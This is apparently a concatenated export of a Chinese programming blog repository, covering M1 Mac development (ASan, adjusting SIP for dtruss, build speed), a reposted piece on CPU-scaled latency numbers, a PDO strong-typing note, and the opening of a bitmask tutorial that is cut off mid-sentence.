首先,我给PHP内核、Swow、libcat都加了ASan编译选项的支持,而且这玩意就算没有项目的编译选项支持,手动加个gcc编译参数也能搞定,ASan是个好东西,我觉得所有C/C++开发都需要深入了解下,包括它的原理。比较浅显的好处就是,ASan可以在几乎任何环境里跑,完美解决了macOS下对于内存问题跟踪的需求。 102 | 103 | 而且valgrind的性能比较捉急,有时候就难堪大用,它会使程序性能下降十倍以上,而有些对于时间、并发敏感的BUG,在valgrind下就复现不出来了,常常跟踪了个寂寞。而ASan在编译期就用了影子内存和hook一些内存函数的技巧,性能碾压valgrind。 104 | 105 | ### 系统调用跟踪问题 106 | 107 | Intel的Mac开机时候按住command + R,而arm的Mac只需要开机时一直按住开机键,就能进到恢复模式。 108 | 109 | 进去以后菜单栏里打开终端,输入: 110 | 111 | ``` 112 | $ csrutil disable 113 | $ csrutil enable --without debug --without dtrace 114 | ``` 115 | 116 | 先关掉SIP再打开,但是排除掉我们需要的部分。 117 | 118 | 需要注意的是有些系统版本好像是`--without dtruss`,但是m1上只有dtrace好使,但我们实际用的又是`dtruss`,非常莫名其妙。 119 | 120 | 可以用`csrutil status`查看结果,平时不在恢复模式也可以看: 121 | 122 | ``` 123 | $ csrutil status 124 | System Integrity Protection status: unknown (Custom Configuration). 125 | 126 | Configuration: 127 | Apple Internal: disabled 128 | Kext Signing: enabled 129 | Filesystem Protections: enabled 130 | Debugging Restrictions: disabled 131 | DTrace Restrictions: disabled 132 | NVRAM Protections: enabled 133 | BaseSystem Verification: enabled 134 | Boot-arg Restrictions: enabled 135 | Kernel Integrity Protections: disabled 136 | Authenticated Root Requirement: enabled 137 | 138 | This is an unsupported configuration, likely to break in the future and leave your machine in an unknown state. 139 | ``` 140 | 141 | 虽然系统说好像自定义设置是unknown state,不过目前用下来没遇到啥问题。 142 | 143 | 毕竟都是个开发,有问题再想办法解决嘛。 144 | 145 | 然后我们就可以用`dtruss`来代替`strace`了。 146 | 147 | 此外,由于libcat是基于libuv的协程版libuv,所以不需要自己操心跨平台的问题,理论上一个系统下开发完了,各个系统都能跑。 148 | 149 | 当然,实际情况并不是100%这么理想的,还是会有那么一点边缘问题,但是我们有一大堆各种系统的CI去保证跨平台兼容性,甚至有什么龙芯、鲲鹏的机器(都是@dixyes搞的,我也不甚懂),似乎我们已经实现了好多个「第一个运行在XX平台的PHP协程库/框架」的成就,总之就是非常的牛啤。 150 | 151 | ## 编译性能 152 | 153 | 我习惯在编译的时候用`make > /dev/null`,把标准输出重定向吃掉,这样就可以只看warning了,比较清爽。 154 | 155 | 然后,在新电脑上第一次编译的时候,我靠,就顿了一小会,就结束退出了,我还以为坏了,遇到M1上的BUG了,编译都闪退了…… 156 | 157 | 结果是编译太快了,原来我要几分钟的编译,不到五秒秒就完成了…… 158 | 159 | ``` 160 | $ time make -j8 >/dev/null 161 | make -j8 > /dev/null 11.13s user 15.77s system 614% cpu 4.375 total 162 | ``` 163 | 164 | 原来编译的时间太长,电脑还卡的啥也干不了,风扇锁7200转声音巨大无比,所以一般编译一下就看会手机,精力很分散。 165 | 166 | 而现在,几乎是所见即所得,哪怕是从头开始编译,也只需要几秒钟,编程体验极大提升。 167 | 168 | 而且所有IDE现在都是丝滑流畅,写起代码来不要太爽,感觉被封印了很久的写代码的激情又回来了。 169 | 170 | ## Windows虚拟机下的游戏性能 171 | 172 | 其实有自己的Windows电脑,肯定是不会在这台Mac上玩的,但是出于好奇和执念,还是试了试。 173 | 174 | 执念是因为毕业前回学校那段时间,只带了Mac本回去,几个月没打游戏,有点难受,就搞了个虚拟机玩了一会命运石之门,结果这都卡的不行,就很气人。 175 | 176 | 而新Mac还有120hz高刷屏,听说显卡性能也还不错,似乎可以一战。但是又由于架构问题,加上虚拟机,可能就好几层套娃,那个性能可能也是没眼看。 177 | 178 | 最终尝试的结果是,命运石之门这种文字冒险游戏肯定是丝滑流畅。斗胆试了下CSGO,1080p 200帧无压力,也是非常的amazing,但是实际匹配的时候会出现顿卡,但也没有很影响游戏体验,就是会突然从120掉到40帧那么零点几秒,感觉可能和虚拟机或者转译有关?但是正经人谁会在Mac上打CSGO呢…… 玩了一把以后卸载了,毕竟我这个Windows虚拟机可能未来还是要作为Win下构建调试项目的用途。 179 | 180 | ## 后话 181 | 182 | 其实写这篇文章就是体验一下新电脑的丝滑的,没有什么别的意思,内容也比较水,纯当练练打字,有好多M1上的经验点一时半会也想不起来了,后面想到了再补吧。 183 | -------------------------------------------------------------------------------- /_/how-slow-is-disk-and-network.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: "[转] 让 CPU 告诉你硬盘和网络到底有多慢" 3 | date: 2017-12-28 16:18:03 4 | tags: [cpu,memory,disk,network] 5 | categories: [编程原理] 6 | --- 7 | 8 | > 本文转载自 [cizixs](http://cizixs.com/2017/01/03/how-slow-is-disk-and-network) 9 | 10 | ## 简介 11 | 12 | 经常听到有人说磁盘很慢、网络很卡,这都是站在人类的感知维度去表述的,比如拷贝一个文件到硬盘需要几分钟到几十分钟,够我去吃个饭啦;而从网络下载一部电影,有时候需要几个小时,我都可以睡一觉了。 13 | 14 | 最为我们熟知的关于计算机不同组件速度差异的图表,是下面这种金字塔形式:越往上速度越快,容量越小,而价格越高。这张图只是给了我们一个直观地感觉,并没有对各个速度和性能做出量化的说明和解释。而实际上,不同层级之间的差异要比这张图大的多。这篇文章就让你站在 CPU 的角度看这个世界,说说到底它们有多慢。 15 | 16 | ![](https://ws1.sinaimg.cn/large/006DQdzWly1g1wel1b2ekj30o10eltb5.jpg) 17 | 18 | 希望你看到看完这篇文章能明白两件事情:磁盘和网络真的很慢,性能优化是个复杂的系统性的活。 19 | 20 | 21 | 22 | 注:所有的数据都是来自[这个地址](https://gist.github.com/hellerbarde/2843375)。所有的数据会因为机器配置不同,或者硬件的更新而有出入,但是不影响我们直觉的感受。如果对这些数据比较感兴趣,[这个网址](https://people.eecs.berkeley.edu/~rcs/research/interactive_latency.html)给出了不同年份一些指标的数值。 23 | 24 | ## 数据 25 | 26 | - 先来看看 CPU 的速度,就拿我的电脑来说,主频是 2.6G,也就是说每秒可以执行 `2.6*10^9`个指令,每个指令只需要 `0.38ns`(现在很多个人计算机的主频要比这个高,配置比较高的能达到 3.0G+)。我们把这个时间当做基本单位 `1s`,因为 `1s` 大概是人类能感知的最小时间单位。 27 | 28 | ![](http://photocdn.sohu.com/20141022/Img405364158.jpg) 29 | 30 | - 一级缓存读取时间为 `0.5ns`,换算成人类时间大约是 `1.3s`,大约一次或者两次心跳的时间。这里能看出缓存的重要性,因为它的速度可以赶上 CPU,程序本身的 locality 特性加上指令层级上的优化,cache 访问的命中率很高,这最终能极大提高效率。 31 | - 分支预测错误需要耗时 `5ns`,换算成人类时间大约是 `13s`,这个就有点久了,所以你会看到很多文章分析如何优化代码来降低分支预测的几率,比如[这个得分非常高的 stackoverflow 问题](http://stackoverflow.com/questions/11227809/why-is-it-faster-to-process-a-sorted-array-than-an-unsorted-array)。 32 | - 二级缓存时间就比较久了,大约在 `7ns`,换算成人类时间大约是 `18.2s`,可以看到的是如果一级缓存没有命中,然后去二级缓存读取数据,时间差了一个数量级。 33 | 34 | **小知识:**为什么需要多层的 CPU 缓存呢?[这篇文章通过一个通俗易懂的例子给出了讲解](https://fgiesen.wordpress.com/2016/08/07/why-do-cpus-have-multiple-cache-levels/)。 35 | 36 | - 我们继续,互斥锁的加锁和解锁时间需要 `25ns`,换算成人类时间大约是 `65s`,首次达到了一分钟。并发编程中,我们经常听说锁是一个很耗时的东西,因为在微波炉里加热一个东西需要一分钟的话,你要在那傻傻地等蛮久了。 37 | - 然后就到了内存,每次内存寻址需要 `100ns`,换算成人类时间是 `260s`,也就是`4分多钟`,如果读一些不需要太多思考的文章,这么久能读完2-3千字(这个快阅读的时代,很少人在手机上能静心多这么字了)。看起来还不算坏,不多要从内存中读取一段数据需要的时间会更多。到了内存之后,时间就变了一个量级,CPU 和内存之间的速度瓶颈被称为[冯诺依曼瓶颈](https://en.wikipedia.org/wiki/Von_Neumann_architecture#Von_Neumann_bottleneck)。 38 | - 一次 CPU 上下文切换(系统调用)需要大约 `1500ns`,也就是 `1.5us`(这个数字参考了[这篇文章](http://blog.tsunanet.net/2010/11/how-long-does-it-take-to-make-context.html),采用的是单核 CPU 线程平均时间),换算成人类时间大约是 `65分钟`,嗯,也就是一个小时。我们也知道上下文切换是很耗时的行为,毕竟每次浪费一个小时,也很让人有罪恶感的。上下文切换更恐怖的事情在于,**这段时间里 CPU 没有做任何有用的计算**,只是切换了两个不同进程的寄存器和内存状态;而且这个过程**还破坏了缓存,**让后续的计算更加耗时。 39 | - 在 1Gbps 的网络上传输 2K 的数据需要 `20us`,换算成人类时间是 `14.4小时`,这么久都能把《星球大战》六部曲看完了(甚至还加上吃饭撒尿的时间)!可以看到网络上非常少数据传输对于 CPU 来说,已经很漫长。而且这里的时间还是理论最大值,实际过程还要更慢一些。 40 | - SSD 随机读取耗时为 `150us`,换算成人类时间大约是 `4.5天`。换句话说,SSD 读点数据,CPU 都能休假,报团参加周边游了。虽然我们知道 SSD 要比机械硬盘快很多,但是这个速度对于 CPU 来说也是像乌龟一样。`I/O 设备` 从硬盘开始速度开始变得漫长,这个时候我们就想起内存的好处了。尽量减少 IO 设备的读写,把最常用的数据放到内存中作为缓存是所有程序的通识。像 `memcached` 和 `redis` 这样的高速缓存系统近几年的异军突起,就是解决了这里的问题。 41 | - 从内存中读取 `1MB` 的连续数据,耗时大约为 `250us`,换算成人类时间是 `7.5天`,这次假期升级到国庆七天国外游了。 42 | - 同一个数据中心网络上跑一个来回需要 `0.5ms`,换算成人类时间大约是 `15天`,也就是半个月的时间。如果你的程序有段代码需要和数据中心的其他服务器交互,在这段时间里 CPU 都已经狂做了半个月的运算。减少不同服务组件的网络请求,是性能优化的一大课题。 43 | - 从 SSD 读取 1MB 的顺序数据,大约需要 `1ms`,换算成人类时间是 `1个月`。也就是说 SSD 读一个普通的文件,如果要等你做完,CPU 一个月时间就荒废了。尽管如此,**SSD** 已经很快啦,不信你看下面机械磁盘的表现。 44 | - 磁盘寻址时间为 `10ms`,换算成人类时间是 `10个月`,刚好够人类创造一个新的生命了。如果 CPU 需要让磁盘泡杯咖啡,在它眼里,磁盘去生了个孩子,回来告诉它你让我泡的咖啡好了。机械硬盘使用 `RPM(Revolutions Per Minute/每分钟转速)` 来评估磁盘的性能:RPM 越大,平均寻址时间更短,磁盘性能越好。寻址只是把磁头移动到正确的磁道上,然后才能读取指定扇区的内容。换句话说,寻址虽然很浪费时间,但其实它并没有办任何的正事(读取磁盘内容)。 45 | - 从磁盘读取 1MB 连续数据需要 `20ms`,换算成人类时间是 `20个月`。**IO 设备是计算机系统的瓶颈**,希望读到这里你能更深切地理解这句话!如果还不理解,不妨想想你在网上买的东西,快递送了将近两年,你的心情是怎么样的。 46 | - 而从世界上不同城市网络上走一个来回,平均需要 `150ms`(参考[世界各地 ping 报文的时间](https://wondernetwork.com/pings/)),换算成人类时间是 `12.5年`。不难理解,所有的程序和架构都会尽量避免不同城市甚至是跨国家的网络访问,[CDN](https://en.wikipedia.org/wiki/Content_delivery_network) 就是这个问题的一个解决方案:让用户和最接近自己的服务器交互,从而减少网络上报文的传输时间。 47 | - 虚拟机重启一次大约要 `4s` 时间,换算成人类的时间是 `3百多年`。对于此,我想到了乔布斯要死命[优化 Mac 系统开机启动时间](http://stevejobsdailyquote.com/2014/03/26/boot-time/)的故事。如果机器能少重启而且每次启动能快一点,不仅能救人命,也能救 CPU 的命。 48 | - 物理服务器重启一次需要 `5min`,换算成人类时间是 `2万5千年`,快赶上人类的文明史了。5 分钟人类都要等一会了,更别提 CPU 了,所以没事不要乱重启服务器啊,分分钟终结一个文明的节奏。 49 | 50 | ## 参考资料 51 | 52 | - [What Every Programmer Should Know About Memory](https://www.akkadia.org/drepper/cpumemory.pdf) 53 | - [Getting Physical With Memory](http://duartes.org/gustavo/blog/post/getting-physical-with-memory/) 54 | -------------------------------------------------------------------------------- /_/how-to-use-strong-type-in-pdo.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: 如何在PDO查询中返回强类型 3 | date: 2017-12-30 13:11:36 4 | tags: [pdo,mysql] 5 | categories: [php,mysql] 6 | --- 7 | 8 | > 有些驱动不支持或有限度地支持本地预处理。使用此设置强制PDO总是模拟预处理语句(如果为 TRUE ),或试着使用本地预处理语句(如果为 FALSE)。如果驱动不能成功预处理当前查询,它将总是回到模拟预处理语句上。 需要 bool 类型。 9 | 10 | PDO::ATTR_EMULATE_PREPARES 启用或禁用预处理语句的模拟。 11 | 12 | 这是之前我说的默认总是模拟prepare,因为低版本MYSQL驱动不支持prepare. 13 | 数据类型问题,在旧版本的MySQL中还真是不能解决的。它直接返回字符串给外部系统。稍微新一点的MySQL和客户端驱动可以直接内部的本地类型而不再进行内部转换为字符串了。有了这个基础,就有解决的可能了。 14 | 15 | #### Test-code 16 | 17 | 此处用query测试证明,prepare_excute二连也是一样的 18 | 19 | ```Php 20 | $db = new \PDO('mysql:dbname='.$options['database'].';host='.$options['host'], $options['user'], $options['password']); 21 | $db->setAttribute(\PDO::ATTR_EMULATE_PREPARES, false);//关闭预处理语句模拟 22 | $r = ($db->query('SELECT * FROM test WHERE `id`=1 LIMIT 1', \PDO::FETCH_ASSOC))->fetch(); 23 | var_dump($r); 24 | ``` 25 | #### $result 26 | 27 | ```Php 28 | array(2) { 29 | [0]=> 30 | int(1) 31 | [1]=> 32 | string(64) "1dfd47ed5fb0183d05157f21cab0fd8c151379f407a173190445bbd82aa5aeaa" 33 | } 34 | ``` 35 | 36 | 此外,PDO为参数绑定也提供了强类型的设定,默认传给Mysql的是string,常用的类型如下: 37 | 38 | ```Php 39 | $data_types = [ 40 | 'NULL' => PDO::PARAM_NULL, 41 | 'boolean' => PDO::PARAM_BOOL, 42 | 'integer' => PDO::PARAM_INT, 43 | 'string' => PDO::PARAM_STR, 44 | ] 45 | $this->sm->bindParam(':id', $id, $data_types[getType($id)]); 46 | ``` 47 | 48 | > data_type: 使用[*PDO :: PARAM_ \** 常量](http://php.net/manual/en/pdo.constants.php)来设定参数的显式数据类型。要从存储过程返回INOUT参数,请使用按位或运算符来设置`data_type`参数的PDO :: PARAM_INPUT_OUTPUT位。 -------------------------------------------------------------------------------- /_/images/AI-everyone-0.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/twose/blog/947d544e91eedcf3754c9ab2ef5d4e6fcd4fa4db/_/images/AI-everyone-0.png -------------------------------------------------------------------------------- /_/images/AI-everyone-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/twose/blog/947d544e91eedcf3754c9ab2ef5d4e6fcd4fa4db/_/images/AI-everyone-1.png -------------------------------------------------------------------------------- /_/images/AI-everyone-10.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/twose/blog/947d544e91eedcf3754c9ab2ef5d4e6fcd4fa4db/_/images/AI-everyone-10.png -------------------------------------------------------------------------------- /_/images/AI-everyone-11.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/twose/blog/947d544e91eedcf3754c9ab2ef5d4e6fcd4fa4db/_/images/AI-everyone-11.png -------------------------------------------------------------------------------- /_/images/AI-everyone-12.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/twose/blog/947d544e91eedcf3754c9ab2ef5d4e6fcd4fa4db/_/images/AI-everyone-12.png -------------------------------------------------------------------------------- /_/images/AI-everyone-13.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/twose/blog/947d544e91eedcf3754c9ab2ef5d4e6fcd4fa4db/_/images/AI-everyone-13.png -------------------------------------------------------------------------------- /_/images/AI-everyone-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/twose/blog/947d544e91eedcf3754c9ab2ef5d4e6fcd4fa4db/_/images/AI-everyone-2.png -------------------------------------------------------------------------------- /_/images/AI-everyone-3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/twose/blog/947d544e91eedcf3754c9ab2ef5d4e6fcd4fa4db/_/images/AI-everyone-3.png -------------------------------------------------------------------------------- /_/images/AI-everyone-4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/twose/blog/947d544e91eedcf3754c9ab2ef5d4e6fcd4fa4db/_/images/AI-everyone-4.png -------------------------------------------------------------------------------- /_/images/AI-everyone-5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/twose/blog/947d544e91eedcf3754c9ab2ef5d4e6fcd4fa4db/_/images/AI-everyone-5.png -------------------------------------------------------------------------------- /_/images/AI-everyone-6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/twose/blog/947d544e91eedcf3754c9ab2ef5d4e6fcd4fa4db/_/images/AI-everyone-6.png -------------------------------------------------------------------------------- /_/images/AI-everyone-7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/twose/blog/947d544e91eedcf3754c9ab2ef5d4e6fcd4fa4db/_/images/AI-everyone-7.png -------------------------------------------------------------------------------- /_/images/AI-everyone-8.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/twose/blog/947d544e91eedcf3754c9ab2ef5d4e6fcd4fa4db/_/images/AI-everyone-8.png -------------------------------------------------------------------------------- /_/images/AI-everyone-9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/twose/blog/947d544e91eedcf3754c9ab2ef5d4e6fcd4fa4db/_/images/AI-everyone-9.png -------------------------------------------------------------------------------- /_/images/AI-everyone-plus-0.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/twose/blog/947d544e91eedcf3754c9ab2ef5d4e6fcd4fa4db/_/images/AI-everyone-plus-0.png -------------------------------------------------------------------------------- /_/images/AI-everyone-plus-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/twose/blog/947d544e91eedcf3754c9ab2ef5d4e6fcd4fa4db/_/images/AI-everyone-plus-1.png -------------------------------------------------------------------------------- /_/images/AI-everyone-plus-10.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/twose/blog/947d544e91eedcf3754c9ab2ef5d4e6fcd4fa4db/_/images/AI-everyone-plus-10.png -------------------------------------------------------------------------------- /_/images/AI-everyone-plus-11.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/twose/blog/947d544e91eedcf3754c9ab2ef5d4e6fcd4fa4db/_/images/AI-everyone-plus-11.png -------------------------------------------------------------------------------- /_/images/AI-everyone-plus-12.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/twose/blog/947d544e91eedcf3754c9ab2ef5d4e6fcd4fa4db/_/images/AI-everyone-plus-12.png -------------------------------------------------------------------------------- /_/images/AI-everyone-plus-13.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/twose/blog/947d544e91eedcf3754c9ab2ef5d4e6fcd4fa4db/_/images/AI-everyone-plus-13.png -------------------------------------------------------------------------------- /_/images/AI-everyone-plus-14.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/twose/blog/947d544e91eedcf3754c9ab2ef5d4e6fcd4fa4db/_/images/AI-everyone-plus-14.png -------------------------------------------------------------------------------- /_/images/AI-everyone-plus-15.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/twose/blog/947d544e91eedcf3754c9ab2ef5d4e6fcd4fa4db/_/images/AI-everyone-plus-15.png -------------------------------------------------------------------------------- /_/images/AI-everyone-plus-16.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/twose/blog/947d544e91eedcf3754c9ab2ef5d4e6fcd4fa4db/_/images/AI-everyone-plus-16.png -------------------------------------------------------------------------------- /_/images/AI-everyone-plus-17.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/twose/blog/947d544e91eedcf3754c9ab2ef5d4e6fcd4fa4db/_/images/AI-everyone-plus-17.png -------------------------------------------------------------------------------- /_/images/AI-everyone-plus-18.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/twose/blog/947d544e91eedcf3754c9ab2ef5d4e6fcd4fa4db/_/images/AI-everyone-plus-18.png -------------------------------------------------------------------------------- /_/images/AI-everyone-plus-19.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/twose/blog/947d544e91eedcf3754c9ab2ef5d4e6fcd4fa4db/_/images/AI-everyone-plus-19.png -------------------------------------------------------------------------------- /_/images/AI-everyone-plus-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/twose/blog/947d544e91eedcf3754c9ab2ef5d4e6fcd4fa4db/_/images/AI-everyone-plus-2.png -------------------------------------------------------------------------------- /_/images/AI-everyone-plus-20.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/twose/blog/947d544e91eedcf3754c9ab2ef5d4e6fcd4fa4db/_/images/AI-everyone-plus-20.png -------------------------------------------------------------------------------- /_/images/AI-everyone-plus-21.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/twose/blog/947d544e91eedcf3754c9ab2ef5d4e6fcd4fa4db/_/images/AI-everyone-plus-21.png -------------------------------------------------------------------------------- /_/images/AI-everyone-plus-22.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/twose/blog/947d544e91eedcf3754c9ab2ef5d4e6fcd4fa4db/_/images/AI-everyone-plus-22.png -------------------------------------------------------------------------------- /_/images/AI-everyone-plus-23.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/twose/blog/947d544e91eedcf3754c9ab2ef5d4e6fcd4fa4db/_/images/AI-everyone-plus-23.png -------------------------------------------------------------------------------- /_/images/AI-everyone-plus-24.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/twose/blog/947d544e91eedcf3754c9ab2ef5d4e6fcd4fa4db/_/images/AI-everyone-plus-24.png -------------------------------------------------------------------------------- /_/images/AI-everyone-plus-25.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/twose/blog/947d544e91eedcf3754c9ab2ef5d4e6fcd4fa4db/_/images/AI-everyone-plus-25.png -------------------------------------------------------------------------------- /_/images/AI-everyone-plus-26.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/twose/blog/947d544e91eedcf3754c9ab2ef5d4e6fcd4fa4db/_/images/AI-everyone-plus-26.png -------------------------------------------------------------------------------- /_/images/AI-everyone-plus-27.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/twose/blog/947d544e91eedcf3754c9ab2ef5d4e6fcd4fa4db/_/images/AI-everyone-plus-27.png -------------------------------------------------------------------------------- /_/images/AI-everyone-plus-28.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/twose/blog/947d544e91eedcf3754c9ab2ef5d4e6fcd4fa4db/_/images/AI-everyone-plus-28.png -------------------------------------------------------------------------------- /_/images/AI-everyone-plus-29.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/twose/blog/947d544e91eedcf3754c9ab2ef5d4e6fcd4fa4db/_/images/AI-everyone-plus-29.png -------------------------------------------------------------------------------- /_/images/AI-everyone-plus-3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/twose/blog/947d544e91eedcf3754c9ab2ef5d4e6fcd4fa4db/_/images/AI-everyone-plus-3.png -------------------------------------------------------------------------------- /_/images/AI-everyone-plus-30.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/twose/blog/947d544e91eedcf3754c9ab2ef5d4e6fcd4fa4db/_/images/AI-everyone-plus-30.png -------------------------------------------------------------------------------- /_/images/AI-everyone-plus-31.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/twose/blog/947d544e91eedcf3754c9ab2ef5d4e6fcd4fa4db/_/images/AI-everyone-plus-31.png -------------------------------------------------------------------------------- /_/images/AI-everyone-plus-32.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/twose/blog/947d544e91eedcf3754c9ab2ef5d4e6fcd4fa4db/_/images/AI-everyone-plus-32.png -------------------------------------------------------------------------------- /_/images/AI-everyone-plus-4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/twose/blog/947d544e91eedcf3754c9ab2ef5d4e6fcd4fa4db/_/images/AI-everyone-plus-4.png -------------------------------------------------------------------------------- /_/images/AI-everyone-plus-5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/twose/blog/947d544e91eedcf3754c9ab2ef5d4e6fcd4fa4db/_/images/AI-everyone-plus-5.png -------------------------------------------------------------------------------- /_/images/AI-everyone-plus-6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/twose/blog/947d544e91eedcf3754c9ab2ef5d4e6fcd4fa4db/_/images/AI-everyone-plus-6.png -------------------------------------------------------------------------------- /_/images/AI-everyone-plus-7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/twose/blog/947d544e91eedcf3754c9ab2ef5d4e6fcd4fa4db/_/images/AI-everyone-plus-7.png -------------------------------------------------------------------------------- /_/images/AI-everyone-plus-8.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/twose/blog/947d544e91eedcf3754c9ab2ef5d4e6fcd4fa4db/_/images/AI-everyone-plus-8.png -------------------------------------------------------------------------------- /_/images/AI-everyone-plus-9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/twose/blog/947d544e91eedcf3754c9ab2ef5d4e6fcd4fa4db/_/images/AI-everyone-plus-9.png -------------------------------------------------------------------------------- /_/images/swoole-coroutine-and-async-io-0.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/twose/blog/947d544e91eedcf3754c9ab2ef5d4e6fcd4fa4db/_/images/swoole-coroutine-and-async-io-0.png -------------------------------------------------------------------------------- /_/images/swoole-coroutine-and-async-io-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/twose/blog/947d544e91eedcf3754c9ab2ef5d4e6fcd4fa4db/_/images/swoole-coroutine-and-async-io-1.png -------------------------------------------------------------------------------- /_/images/swoole-coroutine-and-async-io-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/twose/blog/947d544e91eedcf3754c9ab2ef5d4e6fcd4fa4db/_/images/swoole-coroutine-and-async-io-2.png -------------------------------------------------------------------------------- /_/images/swoole-fpm-proxy-0.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/twose/blog/947d544e91eedcf3754c9ab2ef5d4e6fcd4fa4db/_/images/swoole-fpm-proxy-0.png -------------------------------------------------------------------------------- /_/images/swoole-fpm-proxy-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/twose/blog/947d544e91eedcf3754c9ab2ef5d4e6fcd4fa4db/_/images/swoole-fpm-proxy-1.png -------------------------------------------------------------------------------- /_/images/swoole-fpm-proxy-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/twose/blog/947d544e91eedcf3754c9ab2ef5d4e6fcd4fa4db/_/images/swoole-fpm-proxy-2.png -------------------------------------------------------------------------------- /_/images/swoole-fpm-proxy-3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/twose/blog/947d544e91eedcf3754c9ab2ef5d4e6fcd4fa4db/_/images/swoole-fpm-proxy-3.png -------------------------------------------------------------------------------- /_/mask-code.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: "[整理]【位运算经典应用】 标志位与掩码" 3 | date: 2018-04-06 23:03:01 4 | tags: mask 5 | --- 6 | 7 | ### [整理]【位运算经典应用】 标志位与掩码 8 | 9 | > 本文原文来源自 http://www.cnblogs.com/zichi/p/4792589.html 10 | > 11 | > 相关内容经过整理, ABCD几个水果单词更加容易对应起来 12 | 13 | 前面我们已经了解了六大位操作符(`&` `|` `~` `^` `<<` `>>`)的用法([javascript 位运算](http://www.cnblogs.com/zichi/p/4787145.html)),也整理了一些常用的位运算操作([常用位运算整理](http://www.cnblogs.com/zichi/p/4789439.html)),本文我们继续深入位运算,来了解下二进制的经典应用-标志位与掩码。 14 | 15 | 位运算经常被用来创建、处理以及读取标志位序列——一种类似二进制的变量。虽然可以使用变量代替标志位序列,但是这样可以节省内存(1/32)。 16 | 17 | 例如有4个标志位: 18 | 19 | 1. 标志位A: 我们有 Apple 20 | 2. 标志位B: 我们有 Banana 21 | 3. 标志位C: 我们有 Cherry 22 | 4. 标志位D: 我们有 Dew 23 | 24 | 标志位通过位序列DCBA来表示,当一个位置被置为1时,表示有该项,置为0时,表示没有该项。例如一个变量flag=9,二进制表示为1001,就表示我们有D和A。 25 | 26 | 掩码 (bitmask) 是一个通过与/或来读取标志位的位序列。典型的定义每个标志位的原语掩码如下: 27 | 28 | ```javascript 29 | var FLAG_A = 1; // 0001 30 | var FLAG_B = 2; // 0010 31 | var FLAG_C = 4; // 0100 32 | var FLAG_D = 8; // 1000 33 | ``` 34 | 35 | 36 | 37 | 新的掩码可以在以上掩码上使用逻辑运算创建。例如,掩码 1011 可以通过 FLAG_A、FLAG_B 和 FLAG_D 逻辑或得到: 38 | 39 | ```javascript 40 | var mask = FLAG_A | FLAG_B | FLAG_D; // 0001 | 0010 | 1000 => 1011 41 | ``` 42 | 43 | 某个特定的位可以通过与掩码做逻辑与运算得到,通过与掩码的与运算可以去掉无关的位,得到特定的位。例如,掩码 0100 可以用来检查标志位 C 是否被置位:(**核心就是判断某位上的数** 参考[常用位运算整理](http://www.cnblogs.com/zichi/p/4789439.html) 下同) 44 | 45 | ```javascript 46 | // 如果我们有 Cherry 47 | if (flags & FLAG_C) { // 0101 & 0100 => 0100 => true 48 | // do stuff 49 | } 50 | ``` 51 | 52 | 一个有多个位被置位的掩码表达任一/或者的含义。例如,以下两个表达是等价的: 53 | 54 | ```javascript 55 | // 如果我们有 Banana 或者 Cherry 至少一个 56 | // (0101 & 0010) || (0101 & 0100) => 0000 || 0100 => true 57 | if ((flags & FLAG_B) || (flags & FLAG_C)) { 58 | // do stuff 59 | } 60 | 61 | var mask = FLAG_B | FLAG_C; // 0010 | 0100 => 0110 62 | if (flags & mask) { // 0101 & 0110 => 0100 => true 63 | // do stuff 64 | } 65 | ``` 66 | 67 | 可以通过与掩码做或运算设置标志位,掩码中为 